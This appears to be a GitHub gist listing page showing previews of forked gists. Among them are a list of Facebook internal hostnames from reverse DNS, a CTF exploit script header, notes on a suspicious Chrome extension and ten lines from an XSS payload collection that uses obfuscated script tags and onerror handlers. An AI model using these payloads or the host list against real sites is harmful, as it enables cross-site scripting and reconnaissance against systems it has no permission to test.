Skip to content

Instantly share code, notes, and snippets.

View phwd's full-sized avatar

phwd phwd

88 followers · 7 following
View GitHub Profile
@phwd
phwd / ReactNative.js
Created January 13, 2024 18:43 — forked from steipete/ReactNative.js
Facebook Group App's ReactNative
This file has been truncated, but you can view the full file.
__SSTOKENSTRING = "@generated SignedSource<<dbe928e1275c495c1922c1bf063ffb70>>";
! function(e) {
function t(e) {
function t() {
var t = Array.prototype.map.call(arguments, function(e) {
if (null == e) return null === e ? "null" : "undefined";
if ("string" == typeof e) return '"' + e + '"';
try {
return JSON.stringify(e)
} catch (t) {
@phwd
phwd / fbptr-20200219.txt
Created July 8, 2022 05:14 — forked from avanpo/fbptr-20200219.txt
Facebook PTR records
69.63.177.37 testvpn01.tfbnw.net.
69.63.179.36 static-dev.facebook.com.
69.63.183.110 mlb01.01.sea1.tfbnw.net.
66.220.144.7 itoolsfile.facebook.com.
66.220.144.38 corpout1.snc1.tfbnw.net.
66.220.144.40 corpout3.snc1.tfbnw.net.
66.220.144.41 vpn01.snc1.tfbnw.net.
66.220.144.51 secfw01.snc1.tfbnw.net.
66.220.144.128 66-220-144-128.mail-mail.facebook.com.
66.220.144.129 66-220-144-129.mail-mail.facebook.com.
@phwd
phwd / notes.md
Created February 23, 2021 20:40 — forked from bcherny/designing-data-intensive-application-notes.md
Notes: Designing Data-Intensive Applications

Chapter 1: Reliable, Scalable, and Maintainable Applications

  • Data Systems
    • Dimensions to consider when thinking about data systems: access patterns, performance characteristics, implementations.
    • Modern data systems often blur the lines between databases, caches, streams, etc.
  • Reliability
    • Systems should perform the expected function at a given level of performance, and be tolerant to faults and user mistakes
    • Fault: One component of a system deviating from its spec. Prefer tolerating faults over preventing them (except for things like security issues). Faults stem from hardware failures, software failures, and human error (in a study, config errors caused most outages).
    • Failure: The system as a whole not working
  • Scalability
@phwd
phwd / exploit.py
Created January 6, 2019 12:45 — forked from hub2/exploit.py
Flaglab Real World CTF
#!/usr/bin/env python3
import requests
import sys
from bs4 import BeautifulSoup
from urllib.parse import urljoin
import random
import logging
import time
@phwd
phwd / Effective_Engineer.md
Created December 29, 2017 05:03 — forked from rondy/Effective_Engineer.md

Effective Engineer - Notes

What's an Effective Engineer?

  • They are the people who get things done. Effective Engineers produce results.

Adopt the Right Mindsets

@phwd
phwd / a.md
Created February 7, 2017 06:19 — forked from mala/a.md
Chrome ExtensionのLive HTTP Headersの調査(CoolBar.Pro導入 Extensionが何を行うかの調査)

Chrome ExtensionのLive HTTP Headersを調査した。Firefox用のものではない。Firefox用のものではない。

11/7追記

English version: https://translate.google.com/translate?sl=ja&tl=en&js=y&prev=_t&hl=ja&ie=UTF-8&u=https%3A%2F%2Fgist.github.com%2Fmala%2Fe87973df5029d96c9269d9431fcef5cb&edit-text=&act=url

Summary in english.

@phwd
phwd / Mysterious Facebook Code
Created August 14, 2016 07:20 — forked from rainiera/Mysterious Facebook Code
var org_str = "j8ck72di";
var session_str = "4734a9fc27f7fee1aa58f66046af6c49";
var base_str = "https://ct-m-fbx.fbsbx.com/fp";
var page_id = "1";
var ip_addr_str = "820139e7306525d7";
var tarpitting_param = "";
var carrier_id_enabled = "false";
var flash_tags = "true";
@phwd
phwd / 666_lines_of_XSS_vectors.html
Created July 27, 2016 17:30 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@phwd
phwd / LICENSE.txt
Created April 6, 2016 13:08 — forked from dfreedm/LICENSE.txt
Facebook Profile Finder in 139 bytes
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
Version 2, December 2004
Copyright (C) 2011 YOUR_NAME_HERE <YOUR_URL_HERE>
Everyone is permitted to copy and distribute verbatim or modified
copies of this license document, and changing it is allowed as long
as the name is changed.
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
@phwd
phwd / gist:e74c3304b566d1717b72eaaf2aed3336
Created April 6, 2016 13:06 — forked from jaredhirsch/gist:4dcd73653dd5f9a4dacc
oauth 2, some notes

I did a bit of initial OAuth research this week for FxA (Firefox Accounts). It was interrupted by more pressing stuff (bugs bugs bugs), but thought I'd post my incomplete work-in-progress notes for whenever I get back to this.

Notes come from Getting Started with OAuth 2.0, which I accessed via Safari.

my next steps:

  • look carefully at a number of JS SDKs
  • think in terms of a generic OAuth abstraction for FxOS
  • but begin by building the simplest possible solution for FxA on FxOS
    • we really need implicit grant,
  • and a proxy server that could handle redirects on behalf of serverless apps,